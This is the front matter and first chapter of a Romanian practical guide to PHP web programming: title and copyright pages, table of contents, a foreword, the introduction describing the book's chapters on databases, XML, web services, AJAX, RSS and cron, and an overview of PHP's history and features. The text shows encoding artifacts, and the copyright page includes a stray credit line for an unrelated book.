Sunteți pe pagina 1din 312

TRAIAN ANGHEL

Programarea `n PHP
Ghid practic
Inteligen]\ artificial\ [i web semantic
Traian Anghel este profesor de informaticã ºi fizicã la Grupul ªcolar Industrial „Anghel Saligny”
din Brãila, av^nd gradul didactic I. Este absolvent al Facultãþii de Fizicã din cadrul Universitãþii
Bucureºti ºi al Cursului Postuniversitar de Specializare în Informaticã de la Universitatea „Dunãrea
de Jos” din Galaþi. A mai publicat Pagini Web dinamice. Introducere în programarea Web pentru
server, Editura Scorpion, Galaþi, 2002 ºi Dezvoltarea aplicaþiilor Web folosind XHTML, PHP ºi
MySQL, Editura Polirom, Iaºi, 2005. Domeniul sãu preferat de cercetare este cel al programãrii
Web pentru server ºi client.

Bruna Zani, Augusto Palmonari (a cura di), Manuale di psicologia di comunità


© 1996 by Società editrice il Mulino, Bologna
© 2005 by Editura POLIROM

www.polirom.ro

Editura POLIROM
Ia[i, B-dul Carol I nr. 4, P.O. BOX 266, 700506
Bucure[ti, B-dul I.C. Br\tianu nr. 6, et. 7, ap. 33, O.P. 37; P.O. BOX 1-728, 030174

Descrierea CIP a Bibliotecii Naþionale a României:


ANGHEL, TRAIAN
Programarea `n PHP: ghid practic / Traian Anghel;
cuv. înainte de Sabin Buraga. – Iaºi: Polirom, 2005
ISBN: 973-46-0139-3

I. Buraga, Sabin Corneliu (pref.)

004.42 PHP

Printed in ROMANIA
Cuvânt înainte de Sabin Buraga

POLIROM
2005
Aceastã carte este dedicatã Dorinei,
iubita, prietena ºi soþia mea.
Cuprins

Cuvânt înainte (Sabin Buraga) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7


Introducere . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Scopul lucrãrii . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Scurtã descriere . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Convenþii utilizate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Cerinþe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
Capitolul 1. PHP, limbaj de programare Web pentru server . . . . . . . . . . . . . . . . . . . . 13
Limbaje de programare Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
Caracteristici ale limbajului PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Capitolul 2. PHP ºi bazele de date . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Sisteme de gestiune a bazelor de date . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Utilizarea interfeþei ODBC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Utilizarea pachetului PEAR::DB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Exportul de date MySQL în Excel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Capitolul 3. PHP ºi sistemul de fiºiere . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Modificarea drepturilor de acces ale directoarelor ºi fiºierelor . . . . . . . . . . . . . . . . . . 34
Operaþii cu fiºiere ºi directoare . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Realizarea unei galerii de imagini . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Încãrcarea fiºierelor pe server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
Rotaþia bannerelor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
Afiºarea recursivã a directoarelor ºi fiºierelor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Capitolul 4. PHP ºi utilizarea sesiunilor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
Pãstrarea stãrii sesiunii . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
Variabile de tip sesiune . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
Autorizarea ºi autentificarea utilizatorilor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Magazin virtual . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Capitolul 5. PHP ºi poºta electronicã . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Serviciul de poºtã electronicã . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Standarde pentru formatul mesajelor de e-mail . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Trimiterea mesajelor de e-mail în PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
Mesaje de e-mail bazate pe text . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Mesaje de e-mail în format XHTML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Mesaje de e-mail cu fiºiere ataºate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
Newsletter cu PHP ºi MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
Capitolul 6. PHP ºi XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Noþiuni generale despre XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Procesarea documentelor XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Transformarea XSLT a documentelor XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
Procesarea SAX a documentelor XML utilizând PHP . . . . . . . . . . . . . . . . . . . . . . . 122
Procesarea DOM a documentelor XML utilizând PHP . . . . . . . . . . . . . . . . . . . . . . 131
Procesarea documentelor XML utilizând SimpleXML . . . . . . . . . . . . . . . . . . . . . . 141
Procesarea documentelor XML utilizând XMLReader . . . . . . . . . . . . . . . . . . . . . . 142
Procesarea documentelor XML utilizând PEAR . . . . . . . . . . . . . . . . . . . . . . . . . . 143
Utilizarea PHP pentru transformarea XSLT a documentelor XML . . . . . . . . . . . . . . 147
Capitolul 7. PHP ºi serviciile Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
Introducere în serviciile Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
XML-RPC în PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
SOAP în PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187
PHP ºi REST . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 212
În cãutarea serviciilor Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
Capitolul 8. PHP ºi AJAX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230
Aplicaþii Web clasice vs. aplicaþii Web bazate pe AJAX . . . . . . . . . . . . . . . . . . . . . 231
Metode ºi proprietãþi ale obiectului XMLHttpRequest . . . . . . . . . . . . . . . . . . . . . . 233
Aplicaþii care utilizeazã tehnica AJAX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237
Capitolul 9. PHP ºi RSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
Ce este RSS? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
RSS în browser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254
Sintaxa RSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 254
Generarea fiºierelor RSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257
Procesor RSS cu SAX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 266
Procesor RSS cu PEAR::XML_RSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
Procesor RSS cu MiniXML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271
Capitolul 10. PHP ºi cron . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Fiºiere crontab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Comanda crontab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
Intrãri cron . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 276
Planificarea execuþiei scripturilor PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278
Anexa A. Instalarea pachetelor PEAR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Instalarea managerului de pachete în sistemul local . . . . . . . . . . . . . . . . . . . . . . . . 281
Utilizarea managerului de pachete în sistemul local . . . . . . . . . . . . . . . . . . . . . . . . 283
Instalarea automatã a pachetelor PEAR prin FTP . . . . . . . . . . . . . . . . . . . . . . . . . 285
Instalarea manualã a pachetelor PEAR prin FTP . . . . . . . . . . . . . . . . . . . . . . . . . . 287
Anexa B. Securitatea aplicaþiilor Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289
Aspecte generale . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289
Tipuri de atacuri ºi metode de prevenire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 290
Atacuri Denial of Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 293
Atacuri Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 294
Atacuri Cross-Site Request Forgeries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297
SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299
Afiºarea erorilor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 300
Ascunderea informaþiilor utilizate pentru conectarea la baza de date . . . . . . . . . . . . . 301
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303
Bibliografie generalã . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 307
Cuvânt înainte

Cartea de faþã, la prima vedere, pare a fi o continuare a precedentului volum scris de


Traian Anghel – Dezvoltarea aplicaþiilor Web folosind XHTML, PHP ºi MySQL. Problematica
principalã a lucrãrii se focalizeazã asupra programãrii în limbajul PHP, folosind instrumentele
puse la dispoziþie de comunitatea PHP pentru dezvoltarea de situri oferind conþinut dinamic,
graþie, desigur, serverului de aplicaþii PHP.
La o parcurgere mai atentã, se remarcã însã o profunzime mai mare a temelor abordate, de
interes pentru specialiºtii sau viitorii specialiºti în Web. Printre posibilele atracþii se numãrã
generarea de mesaje de poºtã electronicã având fiºiere ataºate, prelucrarea diferitelor tipuri de
conþinuturi via expresii regulate sau alte tehnici, ilustrarea modului de instalare ºi exploatare a
claselor ºi extensiilor PEAR (PHP Extension and Add-on Repository) ºi multe altele.
Materialul invitã cititorul (în special pe programatorul Web, începãtor sau avansat) sã migreze
de la prelucrarea clasicã a datelor graþie unui dialect SQL oferit de actualele servere de baze de
date relaþionale la procesarea conþinutului semistructurat marcat în XML (Extensible Markup
Language), familie de limbaje ºi totodatã standard ºi tehnologie omniprezente, mai ales în
domeniul industrial. Cartea dezbate – prin intermediul unui bogat set de explicaþii ºi exemple
practice, uºor de înþeles – modalitãþile de procesare a documentelor XML, insistând asupra celor
deja consacrate: DOM (Document Object Model) ºi SAX (Simple API for XML). Autorul atinge
ºi subiecte mai delicate, precum cele dedicate serviciilor Web, ilustrând maniera de realizare ºi/
sau invocare a acestora via protocoalele XML-RPC ºi SOAP (Simple Object Access Protocol). Nu
sunt uitate prelucrãrile asupra unor clase particulare de documente, precum ºtirile RSS (Really
Simple Syndication).
Toate acestea sunt expuse într-o formã agreabilã, astfel încât materialul se dovedeºte
comprehensibil, constituind mai mult decât o introducere incitantã în problematicile unor
domenii avansate ale tehnologiilor Web actuale – e.g., SOA (Service Oriented Architecture)
sau ingineria ºi securitatea aplicaþiilor Web.
Nu detaliem conþinutul cãrþii, rãmânând în sarcina cititorului satisfacþia descoperirii altor
aspecte de interes privind programarea Web, în general, folosind platforma open source PHP, în
special. Putem menþiona însã cã volumul se încheie cu douã anexe folositoare, o cuprinzãtoare
listã de referinþe bibliografice ºi un index de termeni deosebit de util.
Îl felicitãm pe autor pentru faptul de-a fi „recidivat” ºi de-a fi „comis” o nouã carte inclusã în
seria Web publicatã de Editura Polirom. De asemenea, sperãm ca posibilii cititori ai seriei sã aibã
mulþumirea parcurgerii unor lucrãri autohtone contribuind la formarea ºi/sau cristalizarea culturii
profesionale în domeniul tot mai dinamic al tehnologiilor Web.

Dr. Sabin Buraga


Coordonatorul seriei Web
Iaºi, 3 noiembrie 2005
Introducere

„În esenþa întrebãrii stã restul ei posibil, aºadar


noutatea eventualã adusã de ea.”
Constantin Noica

Scopul lucrãrii
Apariþia acestei lucrãri este un rezultat al dorinþei noastre de a veni în întâmpinarea
aºteptãrilor unor largi categorii de programatori Web. Este vorba de programatorii care
ºi-au însuºit bazele limbajului de programare Web pentru server PHP ºi doresc sã
dezvolte aplicaþii în scopul utilizãrii lor în lumea realã. Aceste categorii sunt formate din
elevii de liceu (sunt vizaþi în mod special, dar nu exclusiv, elevii claselor având
specializarea matematicã-informaticã), profesorii care predau ºtiinþele exacte în învã-
þãmântul preuniversitar (în special, informatica), studenþii din primii ani ai facultãþilor
cu profil informatic sau similar cu acesta, administratorii siturilor Web din ºcoli, licee ºi
alte instituþii, dar ºi autodidacþi.
Dezvoltarea unei aplicaþii Web presupune, în etapa de implementare a acesteia,
gãsirea rãspunsurilor la întrebãri de genul cum fac acest lucru? Cine nu s-a lovit, în
cariera sa de programator Web, de întrebãri similare? Ne-am propus ca prezenta lucrare
sã vinã în sprijinul programatorilor, oferindu-le rãspunsuri la o serie de potenþiale
întrebãri.
Iatã o parte dintre întrebãrile pe care ºi le pot pune utilizatorii ºi la care vom încerca
sã rãspundem: Cum încarc un fiºier pe server? Cum pot scrie scripturi independente de
sistemul de gestiune a bazelor de date utilizat? Cum export datele dintr-un tabel MySQL
într-un document Excel? Cum procesez documentele XML? Cum export datele dintr-un
tabel MySQL într-un document XML ºi invers? Cum generez feed-uri RSS? Cum
integrez feed-urile RSS în situl propriu? Cum scriu clienþi pentru serviciile Web? Cum
includ în situl propriu rezultatele furnizate de un motor de cãutare cunoscut (e.g.,
Yahoo!, Google)? Cum determin execuþia planificatã a scripturilor PHP? Cum încarc
într-o secþiune a unei pagini date noi de pe server, fãrã reîncãrcarea întregii pagini?

Scurtã descriere
Printre subiectele dezvoltate în lucrare menþionãm: interacþiunea programelor PHP cu
serverele de baze de date ºi cu sistemul de fiºiere, pãstrarea stãrii sesiunii, autorizarea ºi
autentificarea utilizatorilor, introducere în comerþul electronic, trimiterea mesajelor de
10 INTRODUCERE

e-mail (în diverse formate ºi cu fiºiere ataºate), procesarea documentelor XML, constru-
irea serverelor ºi clienþilor pentru serviciile Web, generarea feed-urilor RSS, precum ºi
integrarea acestora în situl propriu, remote scripting prin utilizarea obiectului
XMLHttpRequest ºi planificarea execuþiei scripturilor PHP.
Am împãrþit conþinutul lucrãrii în zece capitole, fiecare dintre acestea incluzând
scurte pãrþi introductive urmate de aplicaþii care constituie rãspunsuri la potenþiale
întrebãri ale cititorilor. Aplicaþiile prezentate nu epuizeazã toate aspectele caracteristice
categoriei din care fac parte, ci ilustreazã soluþii posibile. Lucrarea include ºi douã anexe
a cãror lecturã poate fi utilã în vederea dezvoltãrii unor aplicaþii Web complexe ºi sigure.
În primul capitol, „PHP, limbaj de programare pentru server”, sunt prezentate
informaþii legate de limbajele de programare Web pentru server, în general ºi despre
PHP, în particular. Capitolul al doilea, „PHP ºi bazele de date”, este dedicat prezentãrii
interacþiunii PHP cu sistemele de gestiune a bazelor de date, în general, ºi cu MySQL,
în special. Sunt analizate aplicaþii care utilizeazã interfaþa ODBC (Open Database
Connectivity) ºi pachetele PEAR::DB ºi PEAR::Spreadsheet_Excel_Writer (e.g.,
aplicaþia care realizeazã exportul datelor MySQL într-un document Excel).
În al treilea capitol, „PHP ºi sistemul de fiºiere”, se prezintã aspecte referitoare la
gestionarea fiºierelor ºi directoarelor, precum ºi la modificarea drepturilor de acces ale
acestora, prin intermediul funcþiilor incluse puse la dispoziþie de PHP. Sunt analizate
aplicaþii utilizate pentru încãrcarea fiºierelor pe server (upload), rotaþia bannerelor
într-un sit ºi afiºarea imaginilor incluse într-un subdirector al sitului (galerie de imagini).
Al patrulea capitol, „PHP ºi utilizarea sesiunilor”, trateazã problema pãstrãrii stãrii
sesiunii prin utilizarea variabilelor de tip sesiune. Sunt prezentate douã aplicaþii: una
pentru realizarea operaþiilor de autorizare ºi autentificare a utilizatorilor, cealaltã pentru
comercializarea online a unor produse (magazin virtual), insistându-se pe crearea ºi
gestionarea coºului de cumpãrãturi ºi pe transmiterea comenzii prin e-mail.
În capitolul al cincilea, „PHP ºi poºta electronicã”, sunt prezentate noþiuni legate de
utilizarea poºtei electronice în PHP ºi se analizeazã modalitãþi de trimitere a mesajelor
de e-mail cu un conþinut divers, inclusiv (X)HTML, precum ºi cu fiºiere ataºate. De
asemenea, se prezintã o aplicaþie care poate fi folositã pentru gestionarea unui newsletter
(abonarea ºi dezabonarea utilizatorilor, precum ºi trimiterea mesajelor cãtre aceºtia),
care promoveazã noile produse ale unei companii.
Capitolul al ºaselea, „PHP ºi XML”, este dedicat utilizãrii PHP în conjuncþie cu
XML (Extensible Markup Language). Sunt prezentate noþiuni generale despre familia
XML (e.g., reguli sintactice, mecanisme de validare ºi spaþii de nume). Tot în acest
capitol sunt prezentate modele de procesare a documentelor XML, insistându-se asupra
SAX (Simple API for XML) ºi DOM (Document Object Model). Este tratatã transformarea
XSLT (Extensible Stylesheet Language Transformation) a documentelor XML pe client
(în browser) ºi pe server (folosind procesoare de sine stãtãtoare, aºa cum este Saxon, dar
ºi scripturi PHP), prin utilizarea foilor de stil XSLT. În scopul procesãrii ºi transformãrii
documentelor XML sunt utilizate biblioteci incluse în PHP sau care pot fi instalate,
inclusiv pachetele PEAR (PHP Extension and Application Repository). În acest capitol
se prezintã modalitãþi de a realiza exportul datelor XML în MySQL ºi invers prin
utilizarea limbajului PHP.
În capitolul al ºaptelea se face o introducere în serviciile Web, prezentându-se
standardele ºi limbajele care stau la baza realizãrii acestora. Este vorba de protocoalele
INTRODUCERE 11

de comunicare, XML-RPC (XML-Remote Procedure Call) ºi SOAP (Simple Object


Access Protocol), limbajul de descriere WSDL (Web Service Description Language) ºi
standardul UDDI (Universal Description, Discovery, and Integration), utilizat pentru
înregistrarea ºi gãsirea serviciilor Web. Se prezintã construirea unor servicii Web simple,
precum ºi a unor clienþi care le utilizeazã. În acest scop sunt folosite biblioteci ca
XMLRPCPHP, PEAR::XML-RPC, respectiv NuSOAP ºi PEAR::SOAP.
Citind capitolul al ºaptelea, cititorul poate învãþa sã utilizeze PHP pentru scrierea
unor clienþi pentru serviciile Web publice, pe baza fiºierelor WSDL ale acestora. Sunt
prezentate exemple de clienþi SOAP pentru accesarea serviciului de cãutare Google,
precum ºi pentru serviciul de comerþ electronic oferit de Amazon. De asemenea, este
prezentat ºi modelul REST (Representational State Transfer) pentru servicii Web (dez-
voltat de Roy Fielding), bazat pe HTTP (Hypertext Transfer Protocol), URI (Uniform
Resource Identifier) ºi tehnologia XML, inclusã în cele mai multe limbaje ºi platforme
(sunt oferite ºi aplicaþii, în care se dezvoltã clienþi pentru serviciul de comerþ electronic
Amazon ºi pentru serviciul de cãutare Yahoo!).
În capitolul al optulea, „PHP ºi AJAX”, sunt prezentate modalitãþi de realizare în
PHP a aplicaþiilor Web interactive, pe baza unei tehnici de remote scripting folositã din
ce în ce mai mult în ultimii ani, denumitã AJAX (Asynchronous JavaScript And XML),
care utilizeazã obiectul XMLHttpRequest.
În capitolul al nouãlea se prezintã utilizarea feed-urilor RSS în PHP. În acest capitol
se aratã cum pot fi generate feed-urile RSS, precum ºi cum pot fi integrate acestea în
paginile sitului propriu (prin procesare SAX ºi PEAR::XML_RSS). Capitolul al zecelea
trateazã problema planificãrii execuþiei scripturilor PHP prin utilizarea daemon-ului
cron (în UNIX/Linux).
În anexa A sunt incluse informaþii referitoare la instalarea ºi utilizarea managerului de
pachete PEAR, iar în anexa B sunt tratate noþiuni legate de securitatea aplicaþiilor Web,
prezentându-se ºi câteva tipuri de atacuri la care pot fi supuse acestea (Cross-Site
Scripting, Cross-Site Request Forgeries ºi SQL Injection).

Convenþii utilizate
Pentru a facilita parcurgerea lucrãrii au fost utilizate urmãtoarele convenþii:
• scripturile PHP, codul CSS (Cascading Style Sheets), sursele XML, comenzile
MySQL precum ºi comenzile executate din shell-ul sistemului de operare sunt scrise
cu un corp de literã monospaþiat (Courier );
• numele funcþiilor PHP predefinite ºi ale comenzilor MySQL sunt scrise, de asemenea,
cu un corp de literã monospaþiat (Courier );
• secvenþele de înlocuire (aºa cum sunt parametrii formali din listele de argumente
incluse în prototipurile funcþiilor) sunt scrise cu un corp de literã monospaþiat
(Courier) italic;
• numele fiºierelor, directoarelor ºi cãilor de localizare, extensiile de fiºiere, precum ºi
URL-urile sunt scrise utilizând stilul italic;
• numele directivelor din fiºierelor de configurare, precum ºi valorile acestor directive
sunt scrise folosind corpul de literã Arial;
• unele secvenþe de cod PHP, CSS, XML ºi de comenzi MySQL, precum ºi prototipurile
funcþiilor prezentate sunt delimitate printr-o barã verticalã plasatã în partea stângã;
12 INTRODUCERE

• listing-urile care conþin scripturi PHP, precum ºi cod CSS, XML, XSLT sau XSD
sunt precedate de:

• rezultatele afiºate de browserul Web sunt precedate de:

• observaþiile ºi analizele care trebuie consultate de cititor în mod obligatoriu în scopul


asimilãrii corecte a informaþiilor prezentate sunt însoþite de pictograme;
• e.g. este acronimul pentru exempli gratia (de exemplu, în limba latinã);
• i.e. este acronimul pentru id est (cu alte cuvinte, adicã, în limba latinã).

Cerinþe
Pentru a utiliza pe calculatorul dumneavoastrã aplicaþiile PHP propuse în aceastã lucrare,
este necesar sã instalaþi: un server Web (e.g., Apache), serverul de aplicaþii PHP
(versiunea 5.0 sau una superioarã) ºi serverul de baze de date MySQL.
Nu este necesar sã dispuneþi de o conexiune la Internet, deoarece puteþi utiliza
aplicaþiile PHP folosind bucla localã. În acest scop, utilizaþi adresa IP 127.0.0.1 sau
numele de domeniu localhost. Astfel, în caseta de adrese a browserului, URL-ul unui
script PHP trebuie introdus folosind unul dintre urmãtoarele douã modele: http://
127.0.0.1/nume_script.php sau http://localhost/nume_script.php.
De asemenea, trebuie sã instalaþi pe calculatorul dumneavoastrã o serie de biblioteci
PHP suplimentare (e.g., pachetele PEAR, bibliotecile XMLPHPRPC, NuSOAP), pe
care le puteþi procura de la adresele indicate în lucrare.
Documentarea completã asupra subiectelor discutate în lucrare presupune utilizarea
unor surse bibliografice diverse. În „Bibliografia general㔠sunt indicate lucrãri impor-
tante ºi adrese Web de la care puteþi obþine o parte din documentaþia necesarã. Restul îl
puteþi cãuta singuri. Nu uitaþi cã Internetul este un rezervor uriaº de informaþii care –
(numai) atunci când sunt alese cu discernãmânt – pot constitui elemente importante în
susþinerea pregãtirii dumneavoastrã ca programatori.
Cartea de faþã nu ar fi ajuns la forma actualã fãrã sprijinul domnului Sabin-Corneliu
Buraga, lector dr. la Facultatea de Informaticã a Universitãþii „Alexandru Ioan Cuza”
din Iaºi, cãruia îi exprimãm întreaga noastrã gratitudine.

Autorul
Brãila, octombrie 2005
INTRODUCERE 13

CAPITOLUL 1

PHP, limbaj de programare


Web pentru server

„Nu conteazã sã citeºti, ci sã reciteºti.”


J.L. Borges

În acest capitol se vor reaminti diferenþele dintre limbajele de


programare Web pentru client ºi, respectiv, pentru server, precum
ºi o serie de caracteristici ale limbajului PHP.

Limbaje de programare Web


Programare Web pentru client ºi server
Activitatea de programare Web presupune utilizarea unor limbaje de programare atât pe
client, cât ºi pe server. De cele mai multe ori, acestea sunt limbaje interpretate, adicã
instrucþiunile incluse în programele (numite scripturi) scrise în aceste limbaje sunt
translatate într-un format intern ºi prelucrate una câte una.
Deºi, din punct de vedere formal, limbajele de programare Web pentru client ºi
server sunt asemãnãtoare (în sensul cã secvenþe de cod-sursã scrise în aceste
limbaje pot fi integrate în codul XHTML), ele sunt diferite din punctul de
vedere al modalitãþilor de execuþie a programelor. Astfel, browserul Web interpreteazã
un script scris într-un limbaj de programare pentru client dupã ce pagina care îl conþine
a fost descãrcatã pe calculatorul utilizatorului. În schimb, un script scris într-un limbaj
de programare pentru server este procesat în întregime pe serverul Web, ca rezultat fiind
generate diverse tipuri de conþinuturi, inclusiv XHTML, trimise apoi aplicaþiei-client.
Utilizarea limbajelor de programare Web pentru server are numeroase avantaje,
dintre care menþionãm:
• asigurã accesul la resurse aflate pe server (e.g., fiºiere, baze de date);
• pot fi folosite în diverse scopuri (e.g., procesarea XML, utilizarea poºtei electronice,
scrierea serverelor ºi clienþilor pentru serviciile Web).
14 PROGRAMAREA ÎN PHP

Limbaje de programare Web pentru server


Astãzi, cele mai utilizate limbaje/platforme de programare Web pentru server sunt:
• PHP (iniþial, acronimul pentru Personal Home Page, ulterior – pentru PHP: Hypertext
Preprocessor). Limbajul este o combinaþie de C, Perl ºi Java. Bazele sale au fost puse
de Rasmus Lerdorf în anul 1994. Este utilizat de cele mai multe ori împreunã cu
serverul Web Apache;
• JSP (JavaServer Pages) este o platformã de programare Web creatã la începutul
anului 1998 de Sun Microsystems, Inc., ºi face parte din specificaþia J2EE (Java 2
Enterprise Edition). Platforma JSP utilizeazã sintaxa XML ºi o serie de clase ºi
funcþii Java;
• ASP (Active Server Pages) este o platformã de programare Web creatã de Microsoft,
permiþând utilizarea unor scripturi scrise în limbajele VBScript (Microsoft Visual
Basic Script), JScript (versiunea Microsoft a limbajului JavaScript) ºi în PerlScript.
Este utilizatã curent cu serverul Web IIS;
• Perl (Practical Extraction and Report Language) este un limbaj de programare creat
de Larry Wall. Limbajul se bazeazã pe C, precum ºi pe câteva utilitare UNIX.

Caracteristici ale limbajului PHP


Astãzi, PHP este cel mai utilizat limbaj de programare Web pentru server. Succesul sãu
este datorat, pe de o parte, posibilitãþilor deosebite pe care le oferã programatorilor ºi,
pe de altã parte, uºurinþei cu care poate fi învãþat. Datoritã acestor caracteristici, PHP
este un instrument utilizat din ce în ce mai des pentru crearea unor aplicaþii Web
dinamice complexe în diferite domenii, dintre care menþionãm e-business (având sub-
domenii ca e-auctioning, e-banking, e-commerce, e-marketing, e-mailing, e-consortium,
e-directories, e-engineering, e-gambling, e-government ºi e-learning).
În anul 1994, Rasmus Lerdorf a creat utilitarul PHP (acronim pentru Personal
Home Page), prin intermediul cãruia colecta informaþii despre vizitatorii sitului
sãu Web. Mai târziu, el a adãugat la PHP elemente de interfaþã între utilizatori
ºi bazele de date, pe care le-a numit Form Interpreters, rezultând PHP/FI. În anul 1997,
Zeev Surasky ºi Andi Gutmans (fondatori ai companiei Zend Technologies, http://
www.zend.com) au iniþiat dezvoltarea unui limbaj de programare Web bazat pe PHP/FI
ºi pe sintaxa C, numit PHP (de data aceasta, acronim recursiv pentru PHP: Hypertext
Preprocessor). În anul 1998, este oferitã utilizatorilor versiunea 3.0 a limbajului, care
permite folosirea unor elemente de programare orientatã pe obiect. În anul 2000, apare
versiunea 4.0, în care este introdus motorul Zend (Zend Engine). Versiunea 5 a limbajului –
lansatã în 2004 – se bazeazã pe versiunea 2 a motorului Zend, care asigurã, printre
altele, un progres important în ceea ce priveºte implementarea POO (Programarea
Orientatã pe Obiect).
Motorul Zend asigurã:
• implementarea structurilor de date utilizate în PHP;
• analiza sintacticã, compilarea în memorie ºi execuþia scripturilor PHP;
PHP, LIMBAJ DE PROGRAMARE WEB PENTRU SERVER 15

• interfaþa cu modulele de extensie;


• servicii standard (e.g., managementul memoriei ºi al resurselor).
În continuare, vom detalia o parte dintre avantajele pe care le aduce utilizatorilor
folosirea serverului de aplicaþii PHP. Acestea se referã în special la numãrul mare de
API-uri (Application Programming Interface) de care dispune serverul ºi la portabilitatea
sa.
Serverul de aplicaþii PHP dispune de interfeþe pentru o mare parte a sistemelor de
gestiune a bazelor de date utilizate în Internet (e.g., Oracle, Microsoft SQL Server, IBM
DB2, MySQL, Postgresql, Informix, Sybase), precum ºi pentru ODBC (permite conec-
tarea la bazele de date care suportã acest standard).
De asemenea, PHP include suport pentru comunicaþia cu servicii care utilizeazã
diverse protocoale, dintre care amintim HTTP (Hypertext Transfer Protocol), FTP (File
Transfer Protocol), IMAP (Internet Message Access Protocol), POP3 (Post Office Protocol
Version 3), COM (Component Object Model) ºi LDAP (Lightweight Directory Access
Protocol).
În ceea ce priveºte procesarea textului, PHP implementeazã standardul POSIX Extins
ºi expresiile regulate Perl. De asemenea, PHP permite accesarea, procesarea ºi trans-
formarea documentelor XML, implementând modelele SAX (Simple API for XML),
DOM (Document Object Model) ºi limbajul XSLT (Extensible Stylesheet Language
Transformation).
